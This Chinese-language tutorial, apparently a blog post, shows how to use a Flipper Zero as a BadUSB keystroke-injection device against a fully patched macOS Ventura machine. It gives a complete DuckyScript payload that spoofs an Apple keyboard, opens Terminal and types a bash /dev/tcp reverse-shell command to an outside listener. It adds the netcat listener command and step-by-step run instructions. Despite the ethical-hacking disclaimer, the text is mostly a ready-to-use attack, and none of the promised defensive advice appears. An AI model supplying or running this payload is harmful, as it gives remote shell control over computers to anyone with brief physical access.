在我的 Ubuntu 服务器上使用 Flipper Zero、一个简短的 12 行 DuckyScript 文本文件和一个远程侦听器,我能够在我完全修补的最新 Ventura macOS 计算机上获得一个 shell。
在我的实验室环境中,我使用 Flipper Zero 作为渗透测试设备来测试我的服务器和桌面系统中的漏洞。
Flipper Zero 是我们首选的道德黑客工具,因为它提供了无数可用的有效负载,具有屏幕菜单选择工具,并使用进度显示来提供反馈。
本文是一个示例,说明如何将 Flipper Zero 用作道德渗透测试 BadUSB 设备以及如何避免成为此类漏洞利用的受害者。不要在您不拥有或无权使用的计算机上使用它。此代码不会试图隐藏入侵检测系统 (IDS)、入侵防御系统 (IPS)、网络检测系统、防火墙或防病毒 (AV) 软件。
Flipper Zero BadUSB 以及其他几个 BadUSB 设备使用用 DuckyScript 编写的有效负载。一种简单的脚本语言,用于执行导致键盘注入攻击的击键。
Duckyscript Payloads 的一个很好的起始参考点是 Hak5 官方网站:
您可以使用现成的脚本,也可以学习编写自己的脚本。我们将通过简单的分步演练向您展示如何在 macOS 计算机上利用反向 shell。
使用您最喜欢的文本编辑器并输入以下文本。 macOS 默认安装了 TextEdit 应用程序,因此我们将使用它。
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
对于本演练,我们不需要对 DuckyScript 了解太多,因此我们将复习一下我们的脚本使用的几个命令。我们实际上只使用了五个不同的命令。
命令 | 描述 |
---|---|
ID 05ac:021e Apple:键盘 | 这一行告诉 macOS 我们的 Flipper Zero 实际上是一个 Apple 键盘。如果您不使用此行,macOS 会显示键盘设置助手对话框,这将导致您的脚本失败。 |
延迟 | 此命令指示操作系统等待一段时间。如果我们不使用这些延迟,脚本将运行得太快而失败。 |
界面空间 | 按 Apple Command 键和空格键打开“Spotlight 搜索”窗口。 |
STRING 终端 | 在 Spotlight 搜索窗口中输入字符串“Terminal” |
进入 | 按键盘上的 ENTER 或 Return 键。按下 ENTER 键后,macOS 启动终端窗口 (/Applications/Utilities/Terminal) |
字符串 bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | 此命令将文本输入终端窗口,该窗口建立到 Netcat 服务器的连接,该服务器侦听端口 4444 上的 10.10.10.157 |
将 IP 地址10.10.10.157和端口4444更改为您服务器的 IP 地址和端口。
将此文件作为rev_shell_macos.txt保存到您的磁盘。 Flipper Zero 上的badusb目录下没有子目录组织,因此如果您为不同的操作系统使用多个有效载荷,请使用对您有意义的命名约定,以便您知道它的作用。
如果您还没有安装 qflipper 应用程序,请转到官方 Flipper 零更新页面并选择适用于您的操作系统的安装程序。该页面是固件更新页面,但底部是安装 qflipper 应用程序的链接。
按照适用于您的操作系统的说明安装 qflipper 应用程序。
打开 qflipper 应用程序并选择以红色突出显示的文件夹图标。
选择并双击SD 卡图标以查看内容。
找到我们之前创建的rev_shell_macos.txt文件并将其拖到badusb文件夹中。
文件复制完成后,从计算机中取出 Flipper Zero。
Flipper Zero BadUSB 已准备就绪,可以使用了。但首先,我们需要在我们的服务器上设置我们的远程监听器。在我们的 Ubuntu 服务器上,使用以下命令启动 Netcat 侦听器:
$ nc -nlvp 4444
下表列出了命令的细分。同样,除了等待传入连接外,您真的不需要知道使用此命令发生了什么。
命令 | 选项 |
---|---|
数控 | 网猫命令 |
-nlvp | ( n ) 无 DNS 解析,( l ) 侦听传入连接,( v ) 详细输出,( p ) 端口 |
4444 | 要监听的端口号 |
现在我们的 Netcat 侦听器已准备就绪并等待传入连接,我们可以继续进行 Flipper Zero BadUSB 攻击。
困难的部分已经完成。 Flipper Zero BadUSB reverse_shell_macos.txt文件已写入,移动到 Flipper Zero,Netcat 侦听器正在等待连接。
找到 Bad USB 菜单并选择 Run 按钮。暂时不要将 Flipper Zero 连接到计算机。 Flipper Zero 会在需要连接设备时通知您。
导航到我们在上一步中复制的 DuckyScript 文件。如果您没有看到该文件,那么您将它复制到了错误的目录。选择rev_shell_macos并单击运行按钮。
当您看到连接到 USB警报时,您可以将 Flipper Zero 连接到 iMac 或 MacBook 的 USB 端口。单击运行按钮。
您可以在主窗口中查看 BadUSB 脚本的进度。一旦状态达到 100%,负载就完成了,您可以移除 Flipper Zero。
如果您正在观看 iMac 的计算机显示器,您可以在执行 DuckyScript 时看到该漏洞。我们 Ubuntu 服务器上的 Netcat 侦听器显示成功请求的结果。
您现在可以通过反向 shell 控制 macOS 计算机。在 BSD Linux 版本上运行,您可以使用 Unix 命令行工具和 BASH shell,就好像您坐在 iMac 的物理键盘上一样。
您可以使用whoami 、 pwd 、 ls或cd等常规 Linux 命令来导航文件系统和操作操作系统。
现在您已经了解 Flipper Zero 如何作为 BadUSB 设备运行,您可以创建自己的脚本。使用 Hak5 站点或通过 Google 搜索可用的众多 DuckyScript GitHub 存储库之一作为您自己的 Duckyscript 文件的起点。
合法合乎道德地经营。在您拥有或有权使用的设备上使用此工具。